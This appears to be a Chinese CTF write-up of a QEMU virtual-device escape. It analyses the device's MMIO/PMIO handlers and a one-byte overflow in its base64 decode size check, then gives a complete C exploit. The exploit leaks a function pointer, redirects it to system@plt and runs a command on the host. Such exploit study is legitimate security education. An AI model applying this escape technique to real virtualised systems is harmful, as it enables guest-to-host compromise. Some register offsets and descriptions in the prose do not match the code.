前言
虚拟机用户名: root
无密码
设备逆向与漏洞分析
程序没有去符合, 还是比较简单. 实例结构体如下:
先总体说一下流程:
encode 为 base64 编码函数, decode 为 base64 解码函数. 然后 encPipe 和 decPipe 分别存放编码数据和解码数据, 分别有四个:
其中 EncPipeLine 中的 data 大小为 92, DecPipeLine 中的 data 大小为 64.
pipeline_mmio_read
这个函数就是去读取指定 Pipe 偏移处的字节. 这里解释一下:
先解释一下下面代码:
if ( addr < sizea )
return *((char *)&opaque->pdev.qdev.parent_obj.free + offset + addr);// (char *)&opaque->pdev.qdev.parent_obj.free => obj+8
(char *)&opaque->pdev.qdev.parent_obj.free 其实就是 opaque+8, 为啥呢? 看图:
这下应该不言而喻了.
当 pIdx <= 3 时, 说明读取的是 encPipe[pIdx], 然后 offset = 96LL * pIdx + 0xAD0; 所以最后其实就是:
if ( addr < sizea )
return *((char *)&opaque + 0xA08 + 96*Pidx + addr);
opaque + 0xA08 就是第一个 encPipe[0].data 的起始地址. pIdx > 3 自己分析.
pipeline_mmio_write
往指定 pIdx 块的 addr 偏移处写一个字节
pipeline_pmio_read
读取 pIdx 的值或者读取 pIdx 块的 size
pipeline_pmio_write -- 关键函数
当 addr = 0 时则设置对应 pIdx
当 addr = 4 时则设置对应 pIdx 块的 size
最重要的还是下面这两个 base64 功能
当 addr = 14 时, 对 decData[idx] 中的数据进行 base64 编码, 结果存放在 encData[idx] 中.
这里的大小判断跑一下发现是不存在问题的
当 addr = 16 时, 对 encData[idx] 中的数据进行 base64 编码, 结果存放在 decData[idx] 中.
而这里的大小判断存在问题, 原因是 c 语言中的除法是向下取整的, 比如 1/5 == 2/5 是成立的.
这里可以实际跑一下:
可以看到当 encData.data 中的数据大小为 87 时, 计算出来大小为 64 是可以通过判断的, 但是实际上解码后是 65 个字节, 因为 decData.data 只有 64 字节的空间, 所以这里存在一个字节的溢出.
漏洞利用
这里一个字节刚好可以溢出到下一个 decData 的 size, 然后就可以实现越界读写了.
1 利用 base64 解码去溢出 pIdx = 6 的 decData 的 size 域
2 越界读 encode 函数地址, 计算 system@plt 地址
3 越界写使得 encode 函数指针指向 system@plt
4 写 cmd 到 decData 中
5 进行 base64 编码触发
exp 如下:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <fcntl.h>
#include <sys/mman.h>
#include <sys/io.h>
uint64_t mmio_addr = 0x00000000febf1000;
uint64_t mmio_size = 0x1000;
void * mmio_base;
uint64_t pmio_base = 0x000000000000c040;
void err_exit(char* msg)
{
printf("[X] error at %s\n");
exit(-1);
}
void binary_dump(char *desc, void *addr, int len) {
uint64_t *buf64 = (uint64_t *) addr;
uint8_t *buf8 = (uint8_t *) addr;
if (desc != NULL) {
printf("\033[33m[*] %s:\n\033[0m", desc);
}
for (int i = 0; i < len / 8; i += 4) {
printf(" %04x", i * 8);
for (int j = 0; j < 4; j++) {
i + j < len / 8 ? printf(" 0x%016lx", buf64[i + j]) : printf(" ");
}
printf(" ");
for (int j = 0; j < 32 && j + i * 8 < len; j++) {
printf("%c", isprint(buf8[i * 8 + j]) ? buf8[i * 8 + j] : '.');
}
puts("");
}
}
void mmio_init()
{
int fd = open("/sys/devices/pci0000:00/0000:00:04.0/resource0", O_RDWR|O_SYNC);
mmio_base = mmap(0, mmio_size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);
printf("[+] mmio_base: %#p\n", mmio_base);
if (mlock(mmio_base, mmio_size) < 0) err_exit("mlock for mmio");
}
void pmio_init() { if (iopl(3) < 0) err_exit("iopl(3)"); }
uint32_t pmio_read(uint64_t addr) { return inl(pmio_base + addr); }
void pmio_write(uint64_t addr, uint32_t val) { outl(val, pmio_base + addr); }
void enc(){ pmio_write(12, 0); }
void dec() { pmio_write(16, 0); }
char mmio_read8(uint64_t offset) { return *(char*)(mmio_base + offset); }
void mmio_write8(uint64_t offset, char val) { *(char*)(mmio_base + offset) = val; }
void mmio_read(uint64_t offset, int idx, char* data, int len)
{
pmio_write(0, idx);
for (int i = 0; i < len; i++) data[i] = mmio_read8(offset+i);
}
void mmio_write(uint64_t offset, int idx, char* data, int len)
{
pmio_write(0, idx);
pmio_write(4, len);
for (int i = 0; i < strlen(data); i++) mmio_write8(offset+i, data[i]);
}
int main(int argc, char** argv, char** envp)
{
mmio_init();
pmio_init();
char data[256] = { 0 };
memset(data, '/', 87);
mmio_write(0, 2, data, 0x5c);
dec();
mmio_read(0, 7, data, 240);
binary_dump("OOB DATA", data+4, 240);
uint64_t system_plt = *(uint64_t*)(data+4+0x40) - 0x00000000003404F3 + 0x00000000002C0AD0;
printf("[+] system@plt: %#p\n", system_plt);
pmio_write(0, 7);
for (int i = 0; i < 8; i++) mmio_write8(68+i, *((char*)&system_plt+i));
char * cmd = "xcalc";
mmio_write(0, 4, cmd, 0x40);
enc();
return 0;
}
效果如下: